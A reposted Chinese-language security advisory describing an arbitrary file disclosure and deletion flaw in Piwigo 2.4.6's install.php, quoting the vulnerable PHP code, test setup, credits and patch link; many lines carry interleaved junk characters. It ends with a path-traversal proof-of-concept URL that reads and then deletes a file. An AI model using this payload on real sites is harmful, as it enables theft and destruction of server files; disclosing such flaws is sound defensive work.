Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

. `! a0 f* S3 {) f9 YPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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0 c- C8 ^. j1 a0 J6 v/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
2 q( _5 [! Y$ @% x9 X$ c116:   header('Cache-Control: no-cache, must-revalidate');
  D% C) w- O9 ?: o& L* g117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
) ?, `5 }3 e, G119:   header('Content-Transfer-Encoding: binary');
' T! w2 I* _) G& e+ Z120:   header('Content-Length: '.filesize($filename));
* B- y+ d# W: ?( O# ^! J121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
9 G+ R. s- e0 I, ?5 q. A====================================================================
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
. \& p+ {/ [. K" A1 _* p  I           Apache 2.4.2 (Win32)
' i% z# L" T- [           PHP 5.4.4
           MySQL 5.5.25a
, e) p' i6 u  r4 A- d6 {( \- E
: \- ?$ o& X3 v3 n: DVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
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% x$ C  |6 V& b- H; ^Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
8 `% d4 r% \! f9 ?0 Z% ]0 MVendor Patch: http://piwigo.org/bugs/view.php?id=2843
# ~% g' ^, b5 l+ g3 U2 C) n
15.02.2013

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, [. C) l: T/ J: Khttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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